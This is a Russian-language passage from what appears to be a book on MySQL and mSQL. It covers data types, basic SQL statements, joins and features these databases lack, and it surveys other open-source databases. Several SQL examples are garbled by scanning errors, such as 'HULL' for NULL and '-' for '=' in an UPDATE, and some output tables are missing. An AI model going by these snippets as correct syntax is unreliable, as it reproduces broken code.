    С символьными типами работать немного труднее. Вы должны подумать не только о максимальной и минимальной длине строки, но также о среднем размере, частоте отклонения от него и необходимости в индексировании. В данном контексте мы называем индексом поле или группу полей, в которых вы собираетесь осуществлять поиск — в основном, в предложении WHERE. Индексирование, однако, значительно сложнее, чем такое упрощенное определение, и мы займемся им далее в этой главе. Здесь важно лишь отметить, что индексирование по символьным полям происходит значительно быстрее, если они имеют фиксированную длину. В действительности, mSQL даже не позволяет индексировать поля переменной длины. Если длина строк не слишком колеблется или, что еще лучше, постоянна, то, вероятно, лучше выбрать для поля тип CHAR. Пример хорошего кандидата на тип CHAR — код страны. Стандартом ISO определены двухсимвольные коды для всех стран (US для США, FR для Франции и т. д.). Поскольку эти коды состоят ровно из двух символов, CHAR(2) будет правильным выбором для данного поля.


    Чтобы подходить для типа CHAR, поле необязательно должно быть фиксированной длины, но длина не должна сильно колебаться. Телефонные номера, к примеру, можно смело хранить в поле CHAR(13), хотя длина номеров различна в разных странах. Просто различие не столь велико, поэтому нет смысла делать поле для номера телефона переменным по длине. В отношении поля типа CHAR важно помнить, что, вне зависимости от реальной длины хранимой строки, в поле будет ровно столько символов, сколько указано в его размере — не больше и не меньше. Разность в длине между размером сохраняемого текста и размером поля заполняется пробелами. Не стоит беспокоиться по поводу нескольких лишних символов при хранении телефонных номеров, но не хотелось бы тратить много места в некоторых других случаях. Для этого существуют текстовые поля переменной длины.

    Хороший пример поля, для которого требуется тип данных с переменной длиной, дает URL Интернет. По большей части адреса Web занимают сравнительно немного места - http://www.ora.com, http:// www.hughes.com.au, http://www.mysql.com - и не представляют проблемы. Иногда, однако, можно наткнуться на адреса подобного вида: http://www.winespectator.com/Wine/Spectator/ _notes\5527293926834323221480431354? Xvl I =&Xr5=&Xvl =& type-region-search- code=&Xal 4=flora+springs&Xv4=.

    Если создать поле типа CHAR длины, достаточной для хранения этого URL, то почти для каждого другого хранимого URL будет напрасно тратиться весьма значительное пространство. Поля переменной длины позволяют задать такую длину, что оказывается возможным хранение необычно длинных значений, и в то же время не расходуется напрасно место при хранении обычных коротких величин. В MySQL и mSQL подход к этой проблеме различный.

    Поля переменной длины в MySQL

    Если вы используете только mSQL, этот раздел можно пропустить. Преимуществом текстовых полей переменной длины в MySQL является то, что они используют ровно столько места, сколько необходимо для хранения отдельной величины. Например, поле типа VARCHAR(255) , в котором хранится строка "hello, world", занимает только двенадцать байтов (по одному байту на каждый символ плюс еще один байт для хранения длины).


    Типы данных в SQL В отличие от стандарта ANSI, в MySQL поля типа VARCHAR не дополняются пробелами. Перед записью из строки удаляются лишние пробелы.



    Сохранить строки, длина которых больше, чем заданный размер поля, нельзя. В поле VARCHAR(4) можно сохранить строку не длиннее 4 символов. Если вы попытаетесь сохранить строку "happy birthday", MySQL сократит ее до "happ". Недостатком подхода MySQL к хранению полей переменной длины, в сравнении с mSQL, является то, что не существует способа сохранить необычную строку, длина которой превосходит заданное вами значение. В таблице 6-2 показан размер пространства, необходимого для хранения 144-символьного URL, продемонстрированного выше, и обычного, 30-символьного URL,

    Таблица 6-2. Пространство памяти, необходимое для различных символьных типов MySQL

    Тип данных

    Пространство для хранения строки из 144 символов

    Пространство для хранения строки из 30 символов

    Максимальная длина строки

    СНАR(150)

    150

    150

    255

    VARCHAR(ISO)

    145

    31

    255

    TINYTEXT(ISO)

    145

    31

    255

    ТЕХТ(150)

    146

    32

    65535

    MEDIUM-ТЕХТ(150)

    147

    33

    16777215

    LONGTEXT(150)

    148

    34

    4294967295

    Если через годы работы со своей базой данных вы обнаружите, что мир изменился, и поле, уютно чувствовавшее себя в типе VARCHAR(25) , должно теперь вмещать строки длиной 30 символов, не все потеряно. В MySQL есть команда ALTER TABLE , позволяющая переопределить размер поля без потери данных.

    ALTER TABLE mytable MODIFY tnycolumn LONGTEXT

    Поля переменной длины в mSQL

    Если вас интересует только MySQL, этот раздел можно пропустить. Символьные поля переменной длины в mSQL позволяют задать длину как средний размер строки, которая будет в нем храниться. Каждая величина, вводимая в это поле, займет, по крайней мере, столько места, сколько вами задано, но поле может хранить и более длинные строки. Для этого база данных создает таблицу переполнения, в которой хранит лишние данные. Недостаток такого подхода проявляется в снижении производительности и невозможности индексировать поля переменной длины.


    Остановимся немного на последствиях различий в подходе. Чтобы сохранить все вышеперечисленные URL в поле типа CHAR, потребуется колонка типа CHAR(144). При таком развитии событий четыре упомянутые URL займут 576 байт (144 х 4), хотя фактически хранится только 216 байт данных. Остальные 360 байт- просто потерянное пространство. Если помножить эту цифру на тысячи и миллионы строк, то можно понять, что это представляет собой серьезную проблему. Если же использовать поле переменной длины типа ТЕХТ(30), то для хранения 216 байт данных требуется только 234 байта (30 X 3 + 144). Всего лишь 18 байт потеряно. Экономия составила 41%!

    Двоичные типы данных

    В mSQL нет поддержки двоичных данных. В MySQL, напротив, есть целый ряд двоичных типов данных, соответствующих своим символьным аналогам. Двоичными типами, поддерживаемыми MySQL, являются CHAR BINARY , VARCHAR BINARY , TINYBLOB, BLOB, MEDIUMBLOB и LONGBLOB. Практическое отличие между символьными типами и их двоичными аналогами основано на принципе кодировки. Двоичные данные просто являются куском данных, которые MySQL не пытается интерпретировать. Напротив, символьные данные предполагаются представляющими текстовые данные из используемых человеком алфавитов. Поэтому они кодируются и сортируются, основываясь на правилах, соответствующих рассматриваемому набору символов. Двоичные же данные MySQL сортирует в порядке ASCII без учета регистра.

    Перечисления и множества

    MySQL предоставляет еще два особых типа данных, не имеющих аналога в mSQL. Тип ENUM позволяет при создании таблицы указать список возможных значений некоторого поля. Например, если бы у вас была колонка с именем "фрукт", в которую вы разрешили бы помещать только значения "яблоко", "апельсин", "киви" и "банан", ей следовало бы присвоить тип ENUM:

    CREATE TABLE meal(meal_id INT NOT NULL PRIMARY KEY,

    фрукт ENUM('яблоко', 'апельсин', 'киви', 'банан'))

    При записи значения в эту колонку оно должно быть одним из перечисленных фруктов. Поскольку MySQL заранее знает, какие значения допустимы для этой колонки, она может абстрагировать их каким-либо числовым типом. Иными словами, вместо того, чтобы хранить в колонке "яблоко" в виде строки, MySQL заменяет его однобайтовым числом, а "яблоко" вы видите, когда обращаетесь к таблице или выводите из нее результаты.


    Тип MySQL SET работает аналогично, но позволяет одновременно хранить в поле несколько значений.

    Другие типы данных

    Любые мыслимые данные можно хранить с помощью числовых или символьных типов. В принципе, даже числа можно хранить в символьном виде. Однако то, что это можно сделать, не означает, что это нужно делать. Рассмотрим, к примеру, как хранить в базе данных денежные суммы. Можно делать это, используя INT или REAL. Хотя интуитивно REAL может показаться более подходящим - в конце концов, в денежных суммах нужны десятичные знаки, - на самом деле более правильно использовать INT. В полях, содержащих значения с плавающей запятой, таких как REAL, часто невозможно найти число с точным десятичным значением. Например, если вы вводите число 0.43, которое должно представлять сумму $0.43, MySQL и mSQL могут записать его как 0.42999998. Это небольшое отличие может вызвать проблемы при совершении большого числа математических операций. Сохраняя число как INT и устанавливая десятичную точку в нужное место, можно быть уверенным, что его значение представляет именно то, что вам требуется.

    К чему такие хлопоты? Не лучше ли было бы, если бы MySQL и mSQL обеспечивали некий тип данных, специально предназначенный для денежных сумм? MySQL и в меньшей степени mSQL предоставляют специальные типы данных для таких случаев. Одним из них является тип MONEY, другим- DATE. Полное описание всех типов данных можно найти в главе 17 "Программы и утилиты для MySQL и mSQL".



    Управление данными

    Первое, что вы делаете, создав таблицу, это начинаете добавлять в нее данные. Если данные уже есть, может возникнуть необходимость изменить или удалить их.

    Добавление данных

    Добавление данных в таблицу является одной из наиболее простых операций SQL. Несколько примеров этого вы уже видели. Как MySQL, так и mSQL поддерживают стандартный синтаксис INSERT:

    INSERT INTO table_name (columnl, column2, ..., columnN)
    VALUES (value!, value2, .... valueN)

    Данные для числовых полей вводятся как они есть. Для всех других полей вводимые данные заключаются в одиночные кавычки. Например, для ввода данных в таблицу адресов можно выполнить следующую команду:

    INSERT INTO addresses (name, address, city, state, phone, age)
    VALUES( 'Irving Forbush', ' 123 Mockingbird Lane', 'Corbin', 'KY', '(800) 555-1234', 26)

    Кроме того, управляющий символ - по умолчанию '\' — позволяет вводить в литералы одиночные кавычки и сам символ '\':

    # Ввести данные в каталог Stacie's Directory, который находится

    # в c:\Personal\Stacie

    INSERT INTO files (description, location)

    VALUES ('Stacie\'s Directory', 'C: \\Personal\\Stacie')

    MySQL позволяет опустить названия колонок, если значения задаются для всех колонок и в том порядке, в котором они были указаны при создании таблицы командой CREATE. Однако если вы хотите использовать значения по умолчанию, нужно задать имена тех колонок, в которые вы вводите значения, отличные от установленных по умолчанию. Если для колонки не установлено значение по умолчанию и она определена как NOT NULL , необходимо включить эту колонку в команду INSERT со значением, отличным от NULL. В mSQL значение по умолчанию всегда NULL. MySQL позволяет указать значение по умолчанию при создании таблицы в команде CREATE.

    Более новые версии MySQL поддерживают нестандартный вызов INSERT для одновременной вставки сразу нескольких строк:

    INSERT INTO foods VALUES (NULL, 'Oranges', 133, 0, 2, 39),

    (HULL, 'Bananas', 122, 0, 4, 29), (NULL, 'Liver', 232, 3, 15, 10)

    Управление даннымиХотя поддерживаемый MySQL нестандартный синтаксис удобно использовать для быстрого выполнения задач администрирования, не следует без крайней нужды пользоваться им при написании приложений. Как правило, следует придерживаться стандарта ANSI SQL2 настолько близко, насколько MySQL и mSQL это позволяют. Благодаря этому вы получаете возможность перейти в будущем на какую-нибудь другую базу данных. Переносимость особенно важна для тех, у кого потребности среднего масштаба, поскольку такие пользователи обычно предполагают когда-нибудь перейти на полномасштабную базу данных.


    MySQL поддерживает синтаксис SQL2, позволяющий вводить в таблицу результаты запроса SELECT:

    INSERT INTO foods (name, fat)

    SELECT food_name, fat_grams FROM recipes

    Обратите внимание, что число колонок в INSERT соответствует числу колонок в SELECT. Кроме того, типы данных колонок в INSERT должны совпадать с типами данных в соответствующих колонках SELECT. И, наконец, предложение SELECT внутри команды INSERT не должно содержать модификатора ORDER BY и не может производить выборку-из той же таблицы, в которую вставляются данные командой INSERT.

    Изменение данных

    Добавление новых строк в базу данных - лишь начало ее использования. Если ваша база не является базой данных "только для чтения", вам, вероятно, понадобится периодически изменять данные. Стандартная команда SQL для изменения данных выглядит так:

    UPDATE table_name

    SET column1=value1, column2=value2, ..., columnN=valueN

    [WHERE clause]

    В mSQL значение, присваиваемое колонке, должно быть литералом и иметь тот же тип, что и колонка. MySQL, напротив, позволяет вычислять присваиваемое значение. Можно даже вычислять значение, используя значение другой колонки:

    UPDATE years

    SET end_year - begin_year+5

    В этой команде значение колонки end_year устанавливается равным значению колонки begin_year плюс 5 для каждой строки таблицы.

    Предложение WHERE

    Возможно, вы уже обратили внимание на предложение WHERE. В SQL предложение WHERE позволяет отобрать строки таблицы с заданным значением в указанной колонке, например:

    UPDATE bands

    SET lead_singer = 'Ian Anderson'

    WHERE band_name = 'Jethro Tull'

    Эта команда — UPDATE - указывает, что нужно изменить значение в колонке lead_singer для тех строк, в которых band_name совпадает с "Jethro Tull." Если рассматриваемая колонка не является уникальным индексом, предложение WHERE может соответствовать нескольким строкам. Многие команды SQL используют предложение WHERE, чтобы отобрать строки, над которыми нужно совершить операции. Поскольку по колонкам, участвующим в предложении WHERE, осуществляется поиск, следует иметь индексы по тем их комбинациям, которые обычно используются.


    Удаление

    Удаление данных - очень простая операция. Вы просто указываете таблицу, из которой нужно удалить строки, и в предложении WHERE задаете строки, которые хотите удалить:

    DELETE FROM table_name [WHERE clause]

    Как и в других командах, допускающих использование предложения WHERE, его использование является необязательным. Если предложение WHERE опущено, то из таблицы будут удалены все записи! Из всех удаляющих данные команд SQL эта легче всего может привести к ошибке.

    Запросы

    Самая часто используемая команда SQL - та, которая позволяет просматривать данные в базе: SELECT. Ввод и изменение данных производятся лишь от случая к случаю, и большинство баз данных в основном занято тем, что предоставляет данные для чтения. Общий вид команды SELECT следующий:

    SELECT column1, column2, ..., columnN

    FROM table1, table2, .... tableN

    [WHERE clause]

    Этот синтаксис, несомненно, чаще всего используется для извлечения данных из базы, поддерживающей SQL. Конечно, существуют разные варианты для выполнения сложных и мощных запросов, особенно в MySQL. Мы полностью осветим синтаксис SELECT в главе 15.

    В первой части команды SELECT перечисляются колонки, которые вы хотите извлечь. Можно задать "*", чтобы указать, что вы хотите извлечь все колонки. В предложении FROM указываются таблицы, в которых находятся эти колонки. Предложение WHERE указывает, какие именно строки должны использоваться, и позволяет определить, каким образом должны объединяться две таблицы.

    Объединения

    Объединения вносят "реляционность" в реляционные базы данных. Именно объединение позволяет сопоставить строке одной таблицы строку другой. Основным видом объединения является то, что иногда называют внутренним объединением. Объединение таблиц заключается в приравнивании колонок двух таблиц:

    SELECT book, title, author, name

    FROM author, book

    WHERE book, author = author, id

    Рассмотрим базу данных, в которой таблица book имеет вид, как в таблице 6-3.

    Таблица 6-3. Таблица книг




    ID



    Title



    Author



    Pages



    1



    The Green Mile



    4



    894



    2



    Guards, Guards!



    2



    302



    ID



    Title



    Author



    Pages



    3



    Imzadi



    3



    354



    4



    Gold



    1



    405



    5



    Howling Mad



    3



    294

    А таблица авторов author имеет вид таблицы 6-4.

    Таблица 6-4. Таблица авторов



    ID



    Name



    Citizen



    1



    Isaac Asimov



    US



    2



    Terry Pratchet



    UK



    3



    Peter David



    us



    4



    Stephen King



    us



    5



    Neil Gaiman



    UK

    В результате внутреннего объединения создается таблица, в которой объединяются поля обеих таблиц для строк, удовлетворяющих запросу в обеих таблицах. В нашем примере запрос указывает, что поле author в таблице book должно совпадать с полем id таблицы author. Результат выполнения этого запроса представлен в таблице 6-5.

    Таблица 6-5. Результаты запроса с внутренним объединением



    Book Title



    Author Name



    The Green Mile



    Stephen King



    Guards, Guards!



    Terry Pratchet



    Imzadi



    Peter David



    Gold



    Isaac Asimov



    Howling Mad



    Peter David

    В этих результатах нет автора с именем Neil Gaiman, поскольку его author, id не найден в таблице book, author. Внутреннее объединение содержит только те строки, которые точно соответствуют запросу. Позднее в этой главе мы обсудим понятие внешнего объединения, которое оказывается полезным в случае, когда в базу данных внесен писатель, у которого нет в этой базе книг.

    Псевдонимы

    Полные имена, содержащие имена таблиц и колонок, зачастую весьма громоздки. Кроме того, при использовании функций SQL, о которых мы будем говорить ниже, может оказаться затруднительным ссы-

    латься на одну и ту же функцию более одного раза в пределах одной команды. Псевдонимы, которые обычно короче и более выразительны, могут использоваться вместо длинных имен внутри одной команды SQL, например:

    # Псевдоним колонки

    SELECT long_field_names_are_annoying AS myfield

    FROM table_name


    WHERE myfield = 'Joe'

    # Псевдоним таблицы в MySQL

    SELECT people.names, tests.score

    FROM tests, really_long_people_table_name AS people

    # Псевдоним таблицы в mSQL

    SELECT people.names, tests.score

    FROM tests, really_long_people_table_name=people

    mSQL полностью поддерживает псевдонимы для таблиц, но не поддерживает псевдонимы для колонок.

    Группировка и упорядочение

    По умолчанию порядок, в котором появляются результаты выборки, не определен. К счастью, SQL предоставляет некоторые средства наведения порядка в этой случайной последовательности. Первое средство -упорядочение - есть и в MySQL, и в mSQL. Вы можете потребовать от базы данных, чтобы выводимые результаты были упорядочены по некоторой колонке. Например, если вы укажете, что запрос должен упорядочить результаты по полю last_name , то результаты будут выведены в алфавитном порядке по значению поля last_name . Упорядочение осуществляется с помощью предложения ORDER BY:

    SELECT last_name, first_name, age

    FROM people

    ORDER BY last_name, first_name

    В данном случае упорядочение производится по двум колонкам. Можно проводить упорядочение по любому числу колонок, но все они должны быть указаны в предложении SELECT. Если бы в предыдущем примере мы не выбрали поле last_name , то не смогли бы упорядочить по нему.

    Группировка — это средство ANSI SQL, реализованное в MySQL, но не в mSQL. Поскольку в mSQL нет агрегатных функций, то группировка просто не имеет смысла. Как и предполагает название, группировка позволяет объединять в одну строки с аналогичными значениями с целью их совместной обработки. Обычно это делается для применения к результатам агрегатных функций. О функциях мы поговорим несколько позднее.

    Рассмотрим пример:

    mysql> SELECT name, rank, salary FROM people\g

    Управление данными

    5 rows in set (0.01 sec)

    После группировки по званию (rank) выдача изменяется:

    mysql> SELECT rank FROM people GROUP BY rank\g

    Управление данными

    3 rows in set (0.01 sec)

    После применения группировки можно, наконец, найти среднюю зарплату (salary) для каждого звания. О функциях, используемых в этом примере, мы поговорим позднее.


    mysql> SELECT rank, AVG(salary) FROM people GROUP BY rank\g

    Управление данными

    3 rows in set (0.04 sec)

    Мощь упорядочения и группировки в сочетании с использованием функций SQL позволяет производить большой объем обработки данных на сервере до их извлечения. Но этой мощью нужно пользоваться с большой осторожностью. Хотя может показаться, что перенос максимального объема обработки на сервер базы данных дает выигрыш в производительности, на самом деле это не так. Ваше приложение-клиент обслуживает потребности отдельного клиента, в то время как сервер совместно используется многими клиентами. Из-за большого объема работы, который должен производить сервер, почти всегда более эффективно возложить на сервер минимально возможную нагрузку. MySQL и mSQL, возможно, наиболее быстрые из имеющихся баз данных, но не нужно использовать эту скорость для той работы, к которой лучше приспособлено клиентское приложение.

    Если вам известно, что много клиентов будет запрашивать одни и те же итоговые данные (например, данные по некоторому званию в нашем предыдущем примере), создайте новую таблицу с этими данными и обновляйте ее при изменении данных в исходной таблице. Эта операция аналогична буферизации и является распространенным приемом в программировании баз данных.



    Beagle

    Beagle является бесплатным ядром баз данных SQL, разработанным и реализованным Робертом Клейном (Robert Klein). Как и GNU SQL, Beagle задуман как полностью SQL-совместимый сервер со всеми необходимыми функциями, включая объектно-реляционные расширения, впервые появившиеся в PostgreSQL. Как и GNU SQL, Beagle во многом не завершен. Ко времени печати этой книги он достиг того уровня развития, когда он надежен и может использоваться для тестирования и разработки. Для промышленного пользования этот продукт еще не готов.

    Одной из наиболее интересных особенностей Beagle является то, что автор с самого начала проекта вел журнал разработки. Изучая этот журнал, вы можете проследить развитие SQL-сервера от простого тестового приложения, использующего TCP и архитектуру клиент/сервер, до почти полностью функционального SQL-сервера, каким он является сегодня. Домашняя страница Beagle расположена на http:// www.beaglesql.org.



    Чего недостает MySQL и mSQL

    Слово "недостает" выбрано за неимением лучшего. Как уже отмечалось, MySQL и mSQL сознательно предпочли отказаться от возможностей, которые могли снизить их производительность. Иными словами, в MySQL и mSQL ставка сделана на производительность. Однако некоторые пользователи среднего класса готовы отчасти пожертвовать производительностью ради определенных функций. Для понимания того, что предлагают другие базы данных среднего масштаба, полезно выяснить, что же опущено в MySQL и mSQL.

    Чего недостает MySQL и mSQLРазработчики MySQL собираются все-таки включить в свой продукт некоторые из этих функций с возможностью по желанию их отключать. Сейчас, когда книга печатается, мы зна- . ем, что планируется реализовать механизм хранимых процедур и вложенных запросов, а возможно, и транзакций.

    Транзакции

    Транзакции позволяют сгруппировать вместе несколько команд SQL в качестве единицы работы. Группируя вместе команды, можно быть уверенным, что никто не столкнется с частично измененной базой данных. Кроме того, при невозможности выполнить одну из команд вся единица работы не будет выполнена. Транзакции можно зрительно представить себе как перекресток оживленных дорог. В однопоточной системе с очередью, такой как mSQL, это как остановка перед перекрестком со всех четырех сторон. Все машины проезжают в очередь по одной. Если проезжает колонна из двух машин, существует опасность, что она будет разорвана перед знаком остановки.

    В многопоточной системе с блокировкой, такой как MySQL, это больше напоминает перекресток с регулировщиком вместо знаков остановки. Движение происходит в любом порядке и с любой скоростью, а регулировщик следит, чтобы не было столкновений. Если к перекрестку подходят одновременно две машины с пересекающихся направлений, регулировщик приказывает одной из них остановиться и подождать, пока другая преодолеет перекресток.

    Транзакции напоминают перекресток со светофором. Подходящий транспорт останавливается перед красным сигналом на то время, пока весь транспорт, следующий в перпендикулярном направлении, не пересечет перекресток.


    Практический пример использования транзакций - банковское приложение, в котором перевод средств со сберегательного на чековый счет выполняется в результате изменения остатка на сберегательном счете, а затем изменения остатка на чековом счете. Это можно осуществить с помощью двух команд SQL:

    # Снять $100 из $110 на сберегательном счете

    UPDATE account

    SET balance = 10.00

    WHERE id = 1234

    # Добавить $100 к $55 на чековом счете

    UPDATE account

    SET balance = 155.00

    WHERE id = 5678

    В промежутке между двумя этими изменениями другой клиент мог провести операцию, проверяющую состояние чекового и сберегательного счетов, чтобы узнать, достаточна ли сумма для оплаты чека. Если бы подобное произошло, чек был бы возвращен банком. Еще хуже, если сервер "упадет" в промежутке между двумя изменениями. Клиент просто потеряет $100.

    Объединяя эти две команды в транзакцию, вы говорите, что либо обе должны быть успешно выполнены, либо ни одна из них. Если первая команда пройдет, а вторая не сможет выполниться, то можно дать команду, называемую "откат"("rollback"), которая вернет базу данных в состояние, предшествовавшее началу транзакции. Точно так же никому не разрешается трогать файлы, которые вы модифицируете, пока работа не будет завершена. MySQL частично позволяет эмулировать транзакции, используя команду LOCK TABLES. Блокировки помогают избежать нарушения целостности данных, но не дают возможности осуществления операции отката. В mSQL поддержка транзакций отсутствует.

    Триггеры

    Триггеры тесно связаны с транзакциями. Продолжая аналогию с дорожным движением, представим себе полицейского инспектора, сверху наблюдающего за перекрестком. Если одна из машин совершает какое-либо нарушение, инспектор выезжает на дорогу и преследует нарушителя.

    Триггер — это одна или несколько команд SQL, которые хранятся в базе и выполняются, когда происходит какое-либо определенное событие. Триггеры являются методом автоматизации задач контроля. Если выполняется некоторое условие, триггер может воздействовать на данные или просто сообщить о том, что имело место срабатывание триггера.


    Хранимые процедуры

    В простейшем случае хранимые процедуры - это одна или несколько команд SQL, хранимых в базе данных под каким-либо простым именем и в совокупности выполняющих некую функцию. В примере с переводом денежных средств можно было бы просто сохранить эти две команды в одной хранимой процедуре с именем "transfer" (перевод). Ваше приложение передает хранимой процедуре два номера счета и сумму, и она выполняет две команды SQL в одной транзакции.

    На более высоком уровне сложности хранимые процедуры могут расширять базовый синтаксис SQL, так что он становится похожим на традиционные языки программирования. Двумя примерами таких расширений являются Oracle PL/SQL и Sybase/ Microsoft Tran-sactSQL. Часто можно слышать, что использование хранимых процедур "помещает бизнес-логику в базу данных".

    Вложенные запросы

    Обычная команда SQL SELECT осуществляет полный доступ ко всем данным, хранимым в таблице, - если вы знаете, что ищете. Когда вы не стремитесь извлечь содержимое таблицы целиком, SELECT в своем основном виде требует ввести хотя бы часть данных, которые вы хотите извлечь. Например, SELECT name FROM friends WHERE name LIKE 'B%' требует знания хотя бы одной буквы имени, которое вы ищете. Что делать в случае, если вы хотите узнать, чей заработок был выше среднего? Запрос должен выглядеть примерно так:

    SELECT name FROM people WHERE salary > ???

    Больше чего? Вы понятия не имеете, каков средний заработок, пока не сделаете выборку по заработкам! Необходимо взять значение SELECT AVG(salary) FROM people и вставить его в предыдущий запрос. Вложенный запрос позволяет это сделать:

    SELECT name

    FROM people

    WHERE salary > (SELECT AVG(salary) FROM people)

    Объекты

    Реляционные базы данных - не конечный пункт эволюции. Имеется много объектно-реляционных и объектно-ориентированных баз данных. На рынке систем большого масштаба идея чисто реляционных баз данных постепенно отступает. Новый стандарт SQL3 включит в себя многие изменения, касающиеся поддержки объектов.

    В РСУБД все данные хранятся в виде таблиц, представляющих собой просто списки записей, в свою очередь, являющихся собранием битов, представляющих текст, числа и другие типы данных. В объектно-ориентированной системе управления базами данных (ООСУБД) базовой единицей хранения данных является объект. Объект может содержать не только данные тех же типов, что встречаются в реляционных базах данных, но также и другие объекты или многомерные данные, скажем, массивы, или даже выполняемые функции, в мире объектно-ориентированного программирования обычно называемые методами.



    Что значит "бесплатный"?

    Иногда можно слышать, как MySQL и mSQL называют "бесплатными" (free) продуктами. Когда сравнивают MySQL и mSQL, иногда даже говорят, что MySQL "более бесплатна", чем mSQL. Здравый смысл противится выражению "более бесплатный". Однако в мире программного обеспечения действительно изобретены "степени бесплатности".

    До сих пор мы сознательно избегали обсуждения "бесплатности" MySQL и mSQL, поскольку термин "бесплатный" неоднозначен в мире программного обеспечения. На самом деле, лицензия как на один, так и на другой продукт может оказаться для вас не бесплатной, в зависимости от того, кем вы являетесь. По правилам, действовавшим в момент написания книги, университет не был обязан платить за лицензию ни на тот, ни на другой продукт. А коммерческий пользователь mSQL- обязан. Когда говорят, что MySQL "более бесплатна", чем mSQL, имеют в виду, что MySQL бесплатна для большего числа пользователей, чем mSQL.

    Другая сторона понятия "бесплатный" для программ не имеет отношения к цене, а связана с возможностью изучать и модифицировать исходный код. В этом смысле тот и другой продукт совершенно бесплатны. Вы можете зайти на их веб-страницы и загрузить исходный код. Даже если вы принадлежите к пользователям MySQL или mSQL, которые обязаны платить за их использование, тратиться дополнительно на исходный код не нужно.

    В мире программирования возник новый термин, предназначенный для избавления от неоднозначности понятия "бесплатный". Он называется Open Source- Открытый код. Фактически, термин "Open Source" стал торговой маркой, обозначающей программный продукт, исходный код которого открыт вне зависимости от взимаемой за его использование платы. Linux, Netscape, FreeBSD, Perl, Apache, все продукты GNU и многие продукты, упоминаемые в этой книге, такие как MySQL, mSQL, mm.mysql.jdbc и mSQL-JDBC (мы перечислили лишь немногие), - все они являются Open Source-продуктами.

    Другие базы данных, о которых мы говорим в этой главе, также относятся к Open Source. Open source имеет очень большое значение в мире пользователей среднего класса, поскольку "большие парни" склонны рассматривать этот рынок как не заслуживающий их внимания из-за ограниченности, а разработчики малого класса считают эти продукты слишком сложными для себя.



    Другие СУБД среднего масштаба

    Когда mSQL впервые вышла на сцену, это была единственная СУБД среднего масштаба с поддержкой SQL. Но она недолго оставалась в одиночестве. Конечно, вы уже знаете о другой такой базе данных: MySQL. За годы, прошедшие после появления mSQL, появилось и несколько СУБД среднего класса. Мы сосредоточились в этой книге на MySQL и mSQL из-за их очень большого сходства и громадной популярности. Было бы, однако, несправедливо не упомянуть о других базах данных.

    Базы данных используются в столь многочисленных задачах, что трудно в одном пакете соединить все функции для всех возможных применений. Тем не менее крупные поставщики баз данных пытаются достичь этой цели. Они расплачиваются за это производительностью, а вы расплачиваетесь своими деньгами. С другой стороны, базы данных низшего класса настолько узко специализированы, что возможности их использования на малых предприятиях, в некоммерческих организациях и других местах с нетривиальными потребностями весьма ограниченны. Базы данных среднего класса заполняют важный пробел между двумя этими крайностями. До сего времени мы рассматривали лишь два очень схожих подхода к удовлетворению потребности в базе данных среднего класса. Определенно, они не являются единственными решениями. Если, скажем, ваша компания невелика, это не значит, что вам не может потребоваться поддержка транзакций. Некоторым пользователям среднего звена могут потребоваться также триггеры, вложенные запросы, хранимые процедуры, поддержка объектно-ориентированного программирования и многое другое - но не все эти возможности одновременно. Таким образом, различные базы данных среднего класса могут иметь необходимые возможности, отсутствующие в MySQL или mSQL.



    MySQL & mSQL

    Проект GNU для многих программистов является символом свободы. Официальная лицензия на продукты GNU гарантирует свободный доступ и полную свободу модификации исходного кода. Почти для всякой утилиты среды Unix можно найти версию GNU - включая редактор (Emacs), командный процессор (bash) и ядро операционной системы (Hurd). До недавнего времени зияющим пробелом было отсутствие СУБД.

    Институт системного программирования Российской Академии наук работает над тем, чтобы изменить это положение. Пару лет назад он выпустил первую открытую бета-версию GNU SQL - полностью функциональную РСУБД с поддержкой SQL и лицензией GNU Public License (GPL). Ко времени печати этой книги текущая версия GNU SQL имела номер 0.7beta.

    Когда задумывалась GNU SQL, спецификация SQL 2 была еще не окончательной, поэтому первые версии GNU SQL обеспечивали поддержку только функций SQL89, а возможности SQL2 добавлялись постепенно.

    В настоящее время GNU SQL поддерживает многие развитые возможности - транзакции, вложенные запросы и курсоры. Поскольку это бета-версия, мы не рекомендовали бы ее для промышленного использования. По мере своего становления она, конечно, будет достойна внимания. Подробнее узнать о GNU SQL можно на http://www.ispras.ru/-kml/gss/index.html



    PostgreSQL

    Существующая в настоящее время реализация объектно-реляционной СУБД Postgres известна как PostgreSQL (или Postgres 6). Хотя Post-gres поддерживает SQL в течение всего трех лет, самой системе уже более десяти лет. В начале 1980-х д-р Майкл Стоунбрейкер (Michael Sto-nebreaker) из Калифорнийского Университета в Беркли разработал систему баз данных, которая предвосхитила многие концепции, реализованные в современных системах управления базами данных. Эта СУБД получила название Ingres (позднее University Ingres). Ingres была некоммерческим проектом, финансируемым университетом; проектом, быстро обретшим последователей среди специалистов по компьютерам во всем мире.

    Одна из фирм обратила внимание на коммерческий потенциал этого академического продукта и, зарегистрировав торговую марку Ingres, сделала коммерческий продукт. Исходная некоммерческая версия Ingres была переименована в University Ingres, и ее развитие продолжилось независимо от коммерческой версии.

    Через некоторое время д-р Стоунбреикер пошел в своих исследованиях дальше того, что предполагалось в начальных целях проекта Ingres. Он решил, что настало время разработать совершенно новую систему баз данных, развивавшую идеи, заложенные в Ingres, и отправился осваивать новую территорию. Эта система баз данных стала известна как Postgres, то есть после-Ingres.

    Postgres, как и Ingres, была открытым для общественности проектом, который финансировался университетом. И так же, как в случае Ingres, коммерческий сектор обратил внимание и на Postgres, в результате чего появился коммерческий проект Illustra*. Бесплатная Postgres продолжила свое существование и сейчас соперничает в популярности с MySQL и mSQL среди серверов баз данных среднего масштаба.

    В 1995 г. произошли два события, повлиявшие на судьбу Postgres. Во-первых, два студента д-ра Стоунбрейкера - Эндрю Ю (Andrew Yu) и Джолли Чен (Jolly Chen) - разработали SQL-интерфейс для Postgres.

    Таким образом, через несколько лет после того, как Дэвид Хьюз впервые разработал MiniSQL для использования SQL в работе с Postgres, у последней появился настоящий SQL-интерфейс. Поддержка SQL вызвала рост популярности. Как и в случае с mSQL и MySQL, рост популярности привел к росту потребности в новых функциях. В результате появилась объектно-ориентированная СУБД среднего масштаба с поддержкой транзакций, триггеров и вложенных запросов. Подробнее узнать о PostgreSQL можно на http://www.postgresql.org.



    Сравнение характеристик

    Как и многие приложения, MySQL обладает набором тестов для проверки того, что заново откомпилированная система действительно поддерживает все возможности, которыми предположительно должна обладать. Для MySQL этот набор называется "crash-me", поскольку одной из его задач является попытка "завалить" сервер баз данных.

